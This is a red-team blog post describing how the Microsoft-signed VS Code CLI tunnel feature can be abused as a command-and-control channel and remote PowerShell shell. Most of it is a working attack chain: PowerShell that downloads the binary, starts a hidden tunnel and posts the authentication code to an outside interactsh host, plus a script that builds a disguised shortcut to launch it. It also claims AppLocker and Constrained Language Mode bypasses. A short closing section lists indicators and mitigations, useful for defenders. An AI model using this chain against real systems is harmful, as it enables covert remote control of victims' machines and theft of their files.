Let's Go (VS) Code - Red Team style

Jan 31, 2023 • PfiatDe

Let's Go (VS) Code - Red Team style
or the Microsoft signed and hosted Reverse Shell

TL;DR;

MS is offering a signed binary (code.exe), which will establish a Command&Control channel via an official Microsoft domain https://vscode.dev. The C2 communication itself is going to https://global.rel.tunnels.api.visualstudio.com over WebSockets. An attacker only needs an Github account.

Preamble

Recently I browsed some MS documentation and stumbled across this two pages.

https://code.visualstudio.com/docs/remote/tunnels

https://code.visualstudio.com/blogs/2022/12/07/remote-even-better

VSCode tunnels Documentation

So what do we have here? VSCode is capable of establishing a connection to a remote system.

- Okay fine, as remote debuggers are not new, not so exiting, but things will get better.

At the end of the page, something is making things a little bit more exiting. `Using the 'code' CLI`

Okay, there is a portable binary for this, nice.

`This CLI will output a vscode.dev URL tied to this remote machine, such as https://vscode.dev/tunnel/<machine_name>/<folder_name>. You can open this URL on a client of your choosing.`

Okay, there is MS domain, hosting the C2 channel, things are getting better. The VSCode binary is also proxyaware and portable.

Action

If we get code execution on the client and here we just assume we have it, we can bring in the portable version of VSCode, the code CLI. If a VSCode is allready installed, we can just stick to the installed version, doesnt't matter. Lets dive in the steps.

Prepare the client

- Get the binary on the client from here: https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64

As the binary is signed from Microsoft, we do not need to take care of Mark-of-the-Web, as it will get ignorred and also we will Bypass Smartscreen. If combined with some tricks seen later, we will also bypass Applocker and Powershell Constrained Language Mode if in default configuration.

The certificate of the binary is as following:

Code.exe signed by MS

- Start the binary on the client.

```
PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*
✓ Do you accept the terms in the License Agreement (Y/n)? · yes
To grant access to the server, please log into https://github.com/login/device and use code 71BC-3082
...
```

- We follow the instrctions and open the provided url on our attacker system. We will see a device code authentication, like known from Azure.

Github Device Code Authentication

- After that, the code tunnel will be established.

```
PS C:\temp> .\code.exe tunnel
*
* Visual Studio Code Server
*
* By using the software, you agree to
* the Visual Studio Code Server License Terms (https://aka.ms/vscode-server-license) and
* the Microsoft Privacy Statement (https://privacy.microsoft.com/en-US/privacystatement).
*

Open this link in your browser https://vscode.dev/tunnel/itsmeC2/C:/temp
```

Connect via Browser or VSCode

So we do as told and open the page in a browser on our attacker machine.

We get a nice Working Project on the victims machine. Over the URL, we can control the path, meaning if we just use C: we get access to all files on the system, in the limits of the user permissions. So open https://vscode.dev/tunnel/itsmeC2/C: and add the C: to the workspace.

File Browser on the target

Nice, we can browse, read and edit all the files remotly.

Filebrowsing is nice, but what about Command Execution? We just say: Menue -> Terminal -> New Terminal

Remote Powershell session

and we get a nice Powershell remote session on the client.

The Remoteshell has everything we want

- Access to the history
- Syntax highlighting
- Tab completion
- Job Control - Meaning interactive

It is a quite responsive good usable remote powershell session.

Beside the Powershell session there are some additional possibilities, like running a task, "Run and Debug" a file or we can do local port forwarding.

A nice feature is the installation of extensions on the remote host.

For example, we now can run some python scripts if the Python was installed on the main machine. One caveat here is, that we need to save the file to disk, but there might be some ways around it.

Running python via an remotly installed extension

Connectiing via VSCode Desktop is straight forward, you just need the extension as stated in the official MS Blogpost.

Build an attack chain

Lets try to build a complete attack chain. First we should check, if we can get rid of the interactive part of starting the tunnel and provide the paramters on the commandline.

We can provide a name to get a fixed instance name for our session: `.\code.exe tunnel --name itsmeC2V2`

Then there is the problem with the authentication. Regarding https://github.com/microsoft/vscode/issues/170013 we must use a Github OAuth refresh token to authenticate.

I did not manage to get the Github OAuth token authentication working, so an additional step was necessay by posting the device code to a service like https://app.interactsh.com/#/

A very basic chain, without obfuscation might look something like this.

```
cd C:\tmp #change folder
iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip #download binary
Expand-Archive vscode.zip #Expand the zip
cd vscode
.\code.exe tunnel user logout #logout previous user, if existing
Start-Sleep 3
Start-Process -FilePath .\code.exe  -ArgumentList "tunnel --name Ooooopsie2000" -RedirectStandardOutput  .\output.txt #start tunnel and redirect the output to a txt file
Start-Sleep 3
iwr -uri cf8ryhj2vtc0000w93v0g8wcxjyyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt) #Post output to interact.sh for the code
```

We can build a shortcut to start the chain.

```
#Payload
$EXEPath = "$env:windir\System32\WindowsPowerShell\v1.0\powershell.exe"
$pay = 'cd C:\tmp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vs
$arguments = " -nop -c $pay"

#lnk file
$LNKName = 123
$obj = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut((Get-Location).Path + "\" + $LNKName + ".lnk")
$link.WindowStyle = '7'
$link.TargetPath = $EXEPath
$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$link.Arguments = $arguments
$link.Save()
```

PoC Video for the attack Chain

The video is showing an example attack chain via a shortcut and gathering the device code via interact.sh service.

If we add some wellknown Applocker bypass paths like C:\Windows\Temp and specify a working directory with `--cli-data-dir` we can also beat a basic Applocker configuration, even with Powershell in Constrained Language Mode (CLM) running by a user without admin privileges.

Applocker and CLM Bypass

IOCs & Mitigation

The code binary is spawning a nodejs application and some powershell scripts, which could be detected.

Process tree

The communication is going through `global.rel.tunnels.api.visualstudio.com` as Microsoft stated and via WebSockets, so this can be blocked. https://code.visualstudio.com/docs/remote/tunnels

`If you're part of an organization who wants to control access to Remote Tunnels, you can do so by allowing or denying access to the domain global.rel.tunnels.api.visualstudio.com.`

Starting VSCode in the tunnel mode, will drop some JSON files on the disk. The location of the files is handed over via the `--cli-data-dir` paramter but defaults to: `%UserProfile%\.vscode-cli`

JSON Files dropped to disk

So monitoring for the `code_tunnel.json` might be possible.

Subscribe

Just Infosec stuff, with blogs and a feed.